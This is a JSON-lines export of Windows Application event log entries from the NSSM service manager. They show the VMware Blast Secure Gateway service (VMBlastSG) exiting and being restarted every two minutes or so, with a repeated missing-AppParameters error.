{"@timestamp":1646702151807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158612}}
{"@timestamp":1646702151808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158613}}
{"@timestamp":1646702151809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158614}}
{"@timestamp":1646702151810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158615}}
{"@timestamp":1646702280335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158616}}
{"@timestamp":1646702280336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158617}}
{"@timestamp":1646702280337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156032","0"]}}},"module":"Application","provider":"nssm","sequence":158618}}
{"@timestamp":1646702280337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156032","156032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158619}}
{"@timestamp":1646702280356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158620}}
{"@timestamp":1646702280357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158621}}
{"@timestamp":1646702280357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158622}}
{"@timestamp":1646702280358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158623}}
{"@timestamp":1646702408846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158624}}
{"@timestamp":1646702408847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158625}}
{"@timestamp":1646702408847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152800","0"]}}},"module":"Application","provider":"nssm","sequence":158626}}
{"@timestamp":1646702408848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152800","152800","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158627}}
{"@timestamp":1646702408870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158628}}
{"@timestamp":1646702408871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158629}}
{"@timestamp":1646702408871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158630}}
{"@timestamp":1646702408872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158631}}
{"@timestamp":1646702537411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158632}}
{"@timestamp":1646702537412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158633}}
{"@timestamp":1646702537413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156276","0"]}}},"module":"Application","provider":"nssm","sequence":158634}}
{"@timestamp":1646702537413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156276","156276","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158635}}
{"@timestamp":1646702537429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158636}}
{"@timestamp":1646702537430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158637}}
{"@timestamp":1646702537430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158638}}
{"@timestamp":1646702537431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158639}}
{"@timestamp":1646702665924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158640}}
{"@timestamp":1646702665927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158641}}
{"@timestamp":1646702665928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155752","0"]}}},"module":"Application","provider":"nssm","sequence":158642}}
{"@timestamp":1646702665928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155752","155752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158643}}
{"@timestamp":1646702665946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158644}}
{"@timestamp":1646702665947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158645}}
{"@timestamp":1646702665947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158646}}
{"@timestamp":1646702665948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158647}}
{"@timestamp":1646702794465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158648}}
{"@timestamp":1646702794468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158649}}
{"@timestamp":1646702794468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156192","0"]}}},"module":"Application","provider":"nssm","sequence":158650}}
{"@timestamp":1646702794469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156192","156192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158651}}
{"@timestamp":1646702794490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158652}}
{"@timestamp":1646702794491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158653}}
{"@timestamp":1646702794491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158654}}
{"@timestamp":1646702794492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158655}}
{"@timestamp":1646702923148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158656}}
{"@timestamp":1646702923149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158657}}
{"@timestamp":1646702923149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156544","0"]}}},"module":"Application","provider":"nssm","sequence":158658}}
{"@timestamp":1646702923150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156544","156544","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158659}}
{"@timestamp":1646702923171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158660}}
{"@timestamp":1646702923171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158661}}
{"@timestamp":1646702923172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158662}}
{"@timestamp":1646702923173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158663}}
{"@timestamp":1646703051724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158664}}
{"@timestamp":1646703051726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158665}}
{"@timestamp":1646703051727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153236","0"]}}},"module":"Application","provider":"nssm","sequence":158666}}
{"@timestamp":1646703051727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153236","153236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158667}}
{"@timestamp":1646703051746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158668}}
{"@timestamp":1646703051747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158669}}
{"@timestamp":1646703051748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158670}}
{"@timestamp":1646703051749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158671}}
{"@timestamp":1646703180254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158672}}
{"@timestamp":1646703180254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158673}}
{"@timestamp":1646703180255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156436","0"]}}},"module":"Application","provider":"nssm","sequence":158674}}
{"@timestamp":1646703180257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156436","156436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158675}}
{"@timestamp":1646703180274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158676}}
{"@timestamp":1646703180274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158677}}
{"@timestamp":1646703180275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158678}}
{"@timestamp":1646703180276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158679}}
{"@timestamp":1646703308788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158680}}
{"@timestamp":1646703308788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158681}}
{"@timestamp":1646703308789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154012","0"]}}},"module":"Application","provider":"nssm","sequence":158682}}
{"@timestamp":1646703308789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154012","154012","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158683}}
{"@timestamp":1646703308806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158684}}
{"@timestamp":1646703308806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158685}}
{"@timestamp":1646703308807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158686}}
{"@timestamp":1646703308808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158687}}
{"@timestamp":1646703437496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158688}}
{"@timestamp":1646703437497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158689}}
{"@timestamp":1646703437498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156180","0"]}}},"module":"Application","provider":"nssm","sequence":158690}}
{"@timestamp":1646703437500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156180","156180","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158691}}
{"@timestamp":1646703437516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158692}}
{"@timestamp":1646703437516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158693}}
{"@timestamp":1646703437517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158694}}
{"@timestamp":1646703437518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158695}}
{"@timestamp":1646703566017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158696}}
{"@timestamp":1646703566018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158697}}
{"@timestamp":1646703566018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156664","0"]}}},"module":"Application","provider":"nssm","sequence":158698}}
{"@timestamp":1646703566019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156664","156664","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158699}}
{"@timestamp":1646703566039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158700}}
{"@timestamp":1646703566040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158701}}
{"@timestamp":1646703566041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158702}}
{"@timestamp":1646703566042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158703}}
{"@timestamp":1646703694530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158704}}
{"@timestamp":1646703694530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158705}}
{"@timestamp":1646703694531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153240","0"]}}},"module":"Application","provider":"nssm","sequence":158706}}
{"@timestamp":1646703694532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153240","153240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158707}}
{"@timestamp":1646703694552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158708}}
{"@timestamp":1646703694552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158709}}
{"@timestamp":1646703694553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158710}}
{"@timestamp":1646703694554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158711}}
{"@timestamp":1646703823072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158712}}
{"@timestamp":1646703823073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158713}}
{"@timestamp":1646703823074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155264","0"]}}},"module":"Application","provider":"nssm","sequence":158714}}
{"@timestamp":1646703823074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155264","155264","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158715}}
{"@timestamp":1646703823090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158716}}
